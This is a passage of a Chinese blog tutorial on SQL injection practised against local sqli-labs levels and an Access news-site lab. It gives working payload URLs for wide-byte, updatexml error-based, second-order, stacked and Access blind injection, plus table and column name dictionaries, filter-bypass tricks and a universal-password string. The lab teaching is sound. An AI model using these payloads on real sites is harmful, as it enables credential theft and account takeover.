使用插件charset: 设置编码为gbk中文, 浏览器显示文字

这时成功进行了报错, 可以进行下一步注入了.

bash 复制代码
# 正常注入流程, 添加注释...
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' --+

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and  1 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and  0 --+

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'  order by 3 --+

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  union select 1,2,3  --+

继续

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3  --+

出现问题了

security 没有被正确执行 提示错误: ''security'

因为这里对数据库名旁边的单引号也进行了编码, 单引号用不了,所以:

  1. 对数据库名进行16进制编码
  2. 0x + 编码后的数字, 整体作为注入: 0x7365637572697479

0x为16进制格式

16进制转换网站

修改后再次执行

bash 复制代码
# 获取表名

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  union select 1,
(select group_concat(table_name) 
from information_schema.tables where table_schema=0x7365637572697479),3  --+

成功

执行其他命令

bash 复制代码
# 获取列名

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  
union select 1,(select group_concat(column_name) from 
information_schema.columns where table_schema=0x7365637572697479),3  --+

# 获取字段
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  
union select 1,(select  group_concat(id) from  emails ),3  --+

4 报错注入

原理特征

没有显示位, 无法回显查询的数据, 但id=1' 的报错信息会显示在页面中

  • sqllabs靶场 less-5

以sqllabs 靶场第五关为例

原理解析

bash 复制代码
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1 

不会将查询的数据(如 id=1 时, 用户名为admin ) , 回显在浏览器页面中, 如下图所示

bash 复制代码
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' 

将报错信息输出到页面中:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

  • 使用时机

一般来说, 是在联合查询注入受限, 且能返回错误信息时进行使用, 较为好用
:
1 BigInt等数据类型溢出

复制代码
2 xpath语法错误   

3 count()+rand()+group_by()导致主键重复   

4 空间数据类型函数错误

xpath语法错误

原理

从mysql 5.1.5开始提供两个,XML查询和修改的函数,通过xml函数进行报错,来进行注入。主要涉及2个函数:

  1. updatexml()
  2. extractvalue()

注意事项

  1. 必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat 函数
  2. xpath只会对特殊字符进行报错,如波浪线~,即16进制的 0x7e来进行利用. ~ 约等于 0x7e
  3. xpath只会报错32个字符,所以要用到substr
  1. updatexml报错注入基本流程

语法格式:updatexml(XML_document, XPath_string, new_value)

第一个参数:xml文档的名称

第二个参数:xpath格式的字符串

第三个参数:替换查找到的符合条件的数据

总结, 就是查找一个字符串,并进行替换。 我们在xpath也就是第二个参数那里传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句的结果报错显示出来。

1.1 判断是否存在注入

执行命令

bash 复制代码
 id=1' 
  • 结果

报错, 存在注入

1.2 判断注入类型

执行命令

bash 复制代码
id=1as 
与 
id=1 

# 页面一样,为字符型 

或者

bash 复制代码
id=1' and 1=1 %23
与 
id=1' and 1=2 %23

# 页面不同, 为字符型
# 因为字符型的注入, 需要引号

页面一:

页面二:

  • 结果

得到注入类型为: 字符型注入

1.3 获取数据库名

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  
and updatexml(1, concat(0x7e, database() ,0x7e) ,3) --+

执行后,这里提示的是

XPATH syntax error

一般报错为sql语法错误, 而这里为xpath语法错误,并回显信息

  • concat()函数

将多个字符串连接成一个字符串,语法格式:concat(str1,str2,str3)


  • 解析updatexml()
bash 复制代码
# 版本1:
updatexml(1, 0x7edatabase()0x7e ,3)
# 构造的位置: 第二个位置进行构造; 第1 和 第3个位置用来凑数
# 语句是构造出来了, 但是 "0x7edatabase()0x7e"这一串字符连接起来,数据库不认识
# 所以要用到concat()函数

# 版本2: 
updatexml(1, concat(0x7e,database(),0x7e) ,3)
  • 结果

得到数据库名: security

1.4 获取表名

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and 
updatexml(1, concat(0x7e, (select group_concat(table_name) from 
information_schema.tables where table_schema=database()),0x7e) ,3) --+

concat 中间使用括号的原因

concat()中间不允许有空格,所以需要括号括起来把它变成一个整体

  • concat 与 group_concat

concat() : 将一行合并为一个单元格 (只能处理一行的数据)

group_concat() : 将多行合并为一行 (处理多行的数据)

表名有多行, 所以要用到group_concat

  • 结果

得到数据库中的表名: emails, referers, uagents, users

1.5 获取表中字段

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and 
updatexml(1, concat(0x7e, (select group_concat(column_name) 
from information_schema.columns where table_schema='security' 
and table_name='emails'),0x7e) ,3) --+

1.6 获取字段中的记录

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 
updatexml(1, concat(0x7e, (substr( 
(select group_concat(id,username) from users),1,32))  ,0x7e) ,3) --+
  1. substr() 第二个参数变化. 这里得到第一列中32个字符, 之后修改substr 数值, 让从第32/64/96位开始截取, 以此类推,得到其余的数据
  2. substr() 第三个参数32固定不变, 因为xpath只会报错32字符
  • 结果

成功获取到字段的记录数据, 如 id 及 username等数据

如图所示:

若执行未带有substr函数的命令,数据则会显示不全,如下所示:

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and updatexml(1, 
concat(0x7e, (select group_concat(username,password,id) from users),0x7e),3) --+

5 二次注入

原理

攻击者将恶意数据存储到数据库中(第一次注入), 然后恶意数据被读取并进入到SQL查询语句所导致的注入。

二次注入时注入了两次: 第一次注入, 没用; 第二次注入,取出数据后才有用.

二次注入过程中, 第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是在写入数据库的时候还是保留了原来的数据,数据本身还是脏数据。

举例

数据本身就是脏数据 ; 例如我们过安检时, 有违法的物品,不能光明正大拿出来,必须改头换面后才可以过去,但该物品本身还是违法的.

过程

bash 复制代码
1 先构造语句. 此语句含有被转义字符的语句,
如 mysql_escape_string、mysql_real_escape_string 转义 
2 将我们构造的恶意语句存入数据库(被转义的语句)
3 第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做
检查,成功注入)

例如
1. 输入参数: 1'
2. 经过转义函数变为: 1\'
3. 参数进入数据库后还是被还原为: 1' (参数被转义进入数据库,不会引发sql注入异常)
4. 将1'从数据库中取出(寻找另一处引用这个数据1'的操作,同时这个数据并没有被转义又插入进
 了数据库中)
5. 1'取出赋值给变量, 但是没有经过转义过滤
6. 插入数据库insert into table values('1''); sql注入被触发
  • sqllabs less-24

以sqllabs 靶场第24关为例

查看user 表

发现admin用户账号和密码

添加代码,查看输出的数据

bash 复制代码
# 打开网站根目录
D:\web\tools\php2018\PHPTutorial\WWW\sqli-labs-master\Less-24

# 进入第24关中的目录,修改login_create.php文件
echo "Hint: you input is: ".$username ."<br>";

# 作用: 可以在网页中打印出创建的用户名

注册新用户

新用户数据

bash 复制代码
新用户名:  admin'#
密码:   123456 

注册成功

可以看到注入的用户名为: admin'#

单引号被转义了

再次查看用户

可以发现用户名还是: admin'# 非admin'#

这是因为创建用户的代码只是在单引号前加了一个 \ ,使得在执行的时候单引号被认为

是字符串里的一个字符,而不是被当成 sql 语句中的单引号。

登录账户admin'#

使用admin'#登录

发现可以更改密码

更改密码为: 111

密码成功修改

再次查看users表

发现admin'# 用户的密码没有被修改

但是admin 用户的密码被修改了

为什么?

bash 复制代码
在网站设计时,虽然过滤了注册的信息,把特殊字符进行了转义,但是在从数据库中调用从外部保存下来的数据时,并没有进行过滤,使得 admin'# 被代入到 sql 语句执行, 达到了修改用户 admin 的密码的目的。

1. 注册的时候虽然进行转义了单引号 admin\'#
2. 但是存入数据库中,还是原本的用户名admin'# ,而不是admin\'#
3. 且取出数据时还是 admin'# 

admin'# 被带入到了数据库中进行执行, 执行了以下SQL语句

bash 复制代码
# 原语句为: 
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
# 输入用户名: admin'# ,原密码: 123456, 修改后的密码: 111 ; 
# 之后插入payload后的语句为:
update users set password ='123' where  username='admin'#' and password='111'
# 此时, 'admin' 后的语句: #' and password='111'  被注释, admin后的单引号'与前面的单引号形成了闭合,就造成了SQL注入
# 
# 真正的生效的语句为:
UPDATE users SET PASSWORD='$pass' where username='admin'
# 从而达到了修改用户 admin 密码的目的

防御措施

  1. 对外部提交的数据谨慎
  2. 从数据库提取数据时,不轻易相信查询出的数据,要做到查询的数据同样进行转义或甄别

6 堆叠注入

原理

bash 复制代码
将原来的语句构造完后加上分号(;), 代表上一个语句执行完毕, 后面在输入的就是一个全新的
sql语句.

一般其他的SQL注入收到本身语句的限制,只能进行查询select操作, 操作空闲有限,而堆叠注入
完全打破限制, 堆一堆sql语句进行注入, 增删改查等sql语句都可进行操作. 

使用条件

bash 复制代码
使用条件十分有限, 只有当调用数据库函数支持执行多条sql语句时才能够使用
1. 利用mysqli_multi_query()函数就支持多条sql语句同时执行
2. 但实际情况中,为防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,
其只能执行一条语句

使用条件十分有限,但一旦能够被使用,可能对网站造成十分大的威胁
  • sqllabs less-38

以sqllabs 第38关为例

  • mysqli_multi_query()函数

第38关中源代码中就使用了 mysqli_multi_query()函数,如下所示:

mysqli_multi_query()函数的使用如下所示 .

原文章可点击直达: 菜鸟教程

正常注入流程

bash 复制代码
# 基本与联合查询注入一致, 不再过多赘述
# 获取到数据库名、表名、列名和字段

1 判断是否注入
http://127.0.0.1/sqli-labs-master/Less-38/?id=1
http://127.0.0.1/sqli-labs-master/Less-38/?id=1ad' 

2 判断注入类型
http://127.0.0.1/sqli-labs-master/Less-38/?id=1ad

3 判断列数
http://127.0.0.1/sqli-labs-master/Less-38/?id=1'   order by 3--+

4 查询数据库名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'   
union select 1,database(),3 --+

5 查询表名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'   union 
select 1,(select  group_concat(table_name) from information_schema.tables 
where table_schema='security'),3 --+

6 查询字段名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'   union 
select 1,(select  group_concat(column_name) from information_schema.columns 
 where table_name='emails' and table_schema='security'),3 --+

7 查询字段
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'   union 
select 1,(select  group_concat(email_id) from  emails   ),3 --+

一般情况下到这里就结束了, 但是我们要进行堆叠注入, 且并不知道程序是否使用了mysqli_multi_query函数, 所以我们只能去猜测, 去到分号后面再加一个插入语句试试

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-38/?id=1' ; 
insert into users(id,username,password) value(110,'wudaozi','123456') --+

如何得是否插入成功?

bash 复制代码
# 执行命令
http://127.0.0.1/sqli-labs-master/Less-38/?id=110 

直接查询插入的id号, 可以看到查询成功

  • 结果

可以进行堆叠注入,执行增删改查操作

  1. 既然插入语句成功了, 那么其他的增删改查是不是都能成功? 这里就不一 一演示了
  2. 既然能插入数据,那如果网站存在后台,我们是不是可以自己新增一个管理员账户,然后进行登录呢?或者进行"删库跑路"呢?

7 Access注入

介绍

Access 是微软发布的关系数据库管理系统,它是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

一般通过联合注入、逐字猜解、偏移注入等方式进行攻击,在面对搭载这类数据库的网站时,也可以针对.mdb和.asp后缀名的文件进行爆破,说不定存在信息泄露可以直接拿到数据库。

常见语言和数据库搭配:

bash 复制代码
asp+access
php+mysql
aspx+mssql
jsp+mssql,Oracle
python+mangodb,mysql
  • access数据库

access基础

access 仅有一个数据, 其他的都是表

access数据库查看器下载
easy_access数据库查看器下载

查看雷驰靶场中的表

打开雷驰靶场中的数据库文件

文件目录为: D:\web\tools\xiaoxuanf\wwwroot\leichinews\data

文件为该目录下的 nxnews.mdb文件

打开数据库文件

选择对应的mdb文件

可以看到access数据库只有一个数据库, 多个表

攻击方法

  1. 联合查询
  2. 判断列数
  3. 逐字猜解

7.1 联合查询

  1. 判断是否存在注入

判断方式

使用单引号、减号、and等进行判断是否存在注入,如果能引起页面产生变化或者报错,则可能存在漏洞

执行命令

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=1'    
bash 复制代码
# 执行命令
http://127.0.0.1/leichinews/onews.asp?id=1 and 1=1 
http://127.0.0.1/leichinews/onews.asp?id=1 and 1=2

# 这里页面不同, 可能是数字型注入
bash 复制代码
 http://127.0.0.1/leichinews/onews.asp?id=46-1
 http://127.0.0.1/leichinews/onews.asp?id=45

# 这里页面一样, 说明减号(-), 可以进行运算 , 可能存在注入漏洞
  • 结果

存在注入漏洞

  1. 获取列数

执行命令

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=1  order  by 11

页面正常

执行命令

bash 复制代码
# order by 12 数据库报错
http://127.0.0.1/leichinews/onews.asp?id=1  order  by 12
  • 结果

表的列数为---11

  1. 判断回显位和表名

3.1 猜测表名

输入

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=-1  union 
select 1,2,3,4,5,6,7,8,9,10,11

报错

原因

这是因为access数据库联合查询的时候后面必须要跟上一个from+表名(这里区别于Mysql等数据库)

由于Access没有数据库的概念,所有的表都是在同一个数据库下。

所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数
由于表名不知道,只能靠猜测

常见的表名如下:

bash 复制代码
admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,
administrator,manage,manager,member,memberlist,user,users,Manage_User,
user_info,admin_userinfo,UserGroups,user_list,login,Friend,zl,movie,news,
password,clubconfig,config,company,book,art,dv_admin,use rinfo

执行命令

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=-1  union 
select 1,2,3,4,5,6,7,8,9,10,11 from admin

成功显示, 说明Access数据库中存在admin 表

查询users 表,则报错, 说明不存在users表

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=-1  union 
select 1,2,3,4,5,6,7,8,9,10,11 from users
  • 结果

猜测得到表名为: admin


3.2 判断回显位

根据查询出的结果, 页面显示2,3,8,9,10 则是回显的位置

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=-1  union 
select 1,2,3,4,5,6,7,8,9,10,11 from admin
  • 再次可确定回显位

将回显位10 改为100 , 若该位置发生变化,则确定是回显位

其他回显位同上可以操作确定

bash 复制代码
# 执行代码后, 数字发生变化,  确定10是显示位
http://127.0.0.1/leichinews/onews.asp?id=-1  union 
select 1,2,3,4,5,6,7,8,9,100,11 from admin

如下图所示

  1. 判断列名

常见列名

bash 复制代码
username,adminusername,admin_username,adminname,admin_name,admin,adminuser,
admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,
administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,
usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,
userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,id,uid,userid,user_id,
adminid,admin_id,login_name

执行命令

bash 复制代码
# 猜测列名有 admin , password ,执行命令到显示位 
 http://127.0.0.1/leichinews/onews.asp?id=-1  
 union select 1,admin,password,4,5,6,7,8,9,100,11 from admin

得到了用户名: admin 密码:bfpms

登录后台

执行命令

bash 复制代码
http://127.0.0.1/leichinews/admin/admin.asp

# 默认跳转到adminlogin.asp 登录页面

登录后台时

也可尝试其他的后缀,如

admin.php

admin.aspx

...

等等

登录

bash 复制代码
# 提示密码错误

原因
1. 可能对密码: bfpms , 做了加密

解密

bash 复制代码
1. 搜索: 雷驰新闻系统加解密, 查看对应文章解密
2. 找雷驰加密工具进行解密

雷驰新闻系统密码解密器

  • 结果

得到密码: admin

登录成功

7.2 逐字猜解

注入过程

基本与之前类似, 这里给出命令

  1. 判断是否存在注入
bash 复制代码
 http://127.0.0.1/leichinews/onews.asp?id=1'
  1. 判断注入类型
bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=1as
  1. 判断表名
  • exists()函数

判断子查询是否返回至少一行数据

执行命令

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select * from admin) 

这里从admin表中查询数据, 若查到数据, 则exists函数返回结果为真true ,否则为false

用以判断admin 或 猜测的某个表是否存在

页面一: 成功, admin表存在

页面二: 失败, adminad表不存在

bash 复制代码
# 执行以下命令
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select * from adminad) 

爆破所有表名

通过burp suite 进行抓包, 然后标记表名, 加载对应的字典, 爆破出所有的表名


  • 结果

得到表名: admin 、news

  1. 判断列名

执行命令

bash 复制代码
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select  admin from admin)

页面返回成功, 得到表名admin 存在

爆破所有列名

通过burp suite 进行抓包, 然后标记列名, 加载对应的字典, 爆破出所有的列名

  • 结果

得到列名: admin、password、id、user

  1. 获取字段数据
    5.1 猜测记录长度
  • top n 函数
  1. 相当于limit 0,1 语句, 限制输出行数; 限制查询结果返回的记录数量,只返回位于排序结果顶部(或底部)的指定数量的行
  2. 例 top 1: 查询结果只显示首条记录
  • len()函数

相当于length() ,获取字符长度

执行命令

bash 复制代码
# 获取admin表中admin字段长度, 并返回第1行的数据, 猜测第1行的数据长度
http://127.0.0.1/leichinews/onews.asp?id=1 and  
(select top 1 len(admin) from admin)=5
# 大于1时,页面正常返回
# 大于10时,页面错误
# 等于5 时, 页面正常,得到字段长度
  • 结果

得到字段长度----5

5.2 猜测记录内容

  • asc()函数

相当于ascii()函数,转换字符为ascii码值

  • mid()函数

相当于substr()函数,截取字符内容

执行命令

bash 复制代码
# 写法一 
# 猜测获取第一行中第一个字符内容为是97 
http://127.0.0.1/leichinews/onews.asp?id=1 and    
(select top 1 asc(mid(admin,1,1)) from admin)=97

# 变体写法二
http://127.0.0.1/leichinews/onews.asp?id=1 and    
asc(mid((select  top 1 admin from admin),1,1))=97

burp suite 爆破字段内容

bash 复制代码
# 与之前的操作操作一样
标记一: 
标记mid中的1, 得知第一个字段内容长度为5, payloads 设置1-5 

标记二:
笔记ascii猜测结果97, payloads设置33-126

进行爆破

得到字段内容

  • 结果

得到第一个字段的内容为: admin

其他学习资料: access注入教程


二、其他基础技巧

1. 基础注入技巧+思路

判断

一般的单引号判断注入:?id=1'

是否执行加减乘除: ?id=2-1

注入方式

有框皆可注入

且有注入顺序

前后, 一般在前较好

%26 == +

注入时,可以选择,如

?id=1 与 ?id=1%2b1 就是不同的结果

一般事项

注意每个页面的URL变化

注意提示

多试试(符合提示就可以)

页面登录经验

数据库

数据库表名一般1-15个字符

数据库名的命名(26字母,10个数字,下划线_)

数据库对大小写不敏感

apache / oracle 等数据库名只有一个, 表名有多个

flag

一般38位

2. 常用函数

  • length( )

    获取字符长度,结果为1 或 0

    如: length( database()=8)

  • group_concat( )

    多行合并成一行

    如: group_concat(table_name)

  • substr(string, start, length)

    截取字符串

    string是要截取的字符串,start是从哪个位置开始,length 是截取的长度

  • ascii( )

    转换为ascii码字符

  • count()

    返回行数

    配置table_name即可得到表名

    select count(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa'

  • limit 0,1

    限制输出行数

3. 绕过过滤处理

bash 复制代码
   折半法:>=5/10/15等等为界限
	
	大写: Select
	
	双写: 
	databdatabase()ase()
	双写是需要注意,要包括 括号()
	
	替换法: 
	空格 替换  /**/ ,例:union/**/select/**/1,2,3;
	
	内联注释:
	/* 这个是注释*/
	/*!不被注释*/ (  有个! 取反), 例:id=1 /*!union*/select 1,2,3;
	()内联注释加: ~
	
	特殊符号:
	id=1 union+select+1,2,3;
	
	函数替换:
	字符串截取函数替换: mid( ) Mid() Substr() Substr()
	字符串连接函数替换: Concat concat ws
 
	万能密码: 
	1' or 1=1#

4. SQLmap自动化注入工具

请看往期文章 : 渗透测试工具


三、靶场实战

本篇文章篇幅过长, 靶场内容非主要内容, 请看往期文章


待续、更新中...

1 顿号、: 先使用ctrl+. ,再使用一遍切回

2 下标: 21 == 2~1~

3 上标: 2 0 2^{0} 20 == $2^{0}$

4 竖线 | : &#124 ; == |

5 空格: &emsp ;

6 换行: &nbsp; 或 <br>


以上就是今日博客的全部内容了

创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.

相关推荐
汤愈韬3 小时前
网络安全之网络基础知识_2
网络协议·安全·web安全
需要点灵感4 小时前
SQL Server 存储过程语法整理
数据库·sql
zjeweler5 小时前
网安护网面试-2-国誉护网面试
web安全·网络安全·面试·职场和发展·护网行动·护网面试
沃尔威武5 小时前
性能调优实战:从火焰图定位到SQL优化的全流程
android·数据库·sql
数厘5 小时前
2.7SQL 四大分类:理解与避坑
数据库·sql
XDHCOM6 小时前
ORA-31215: DBMS_LDAP PL/SQL无效LDAP修改值,Oracle报错故障修复与远程处理方案,快速解决连接配置难题
数据库·sql·oracle
交个_朋友6 小时前
HTB SwagShop writeup(一个框架两个洞,sudo提权常使用)
渗透测试·oscp·htb
rockey6276 小时前
AScript动态脚本多语言环境支持
sql·c#·.net·script·eval·function·动态脚本
pencek7 小时前
HakcMyVM-Quick
网络安全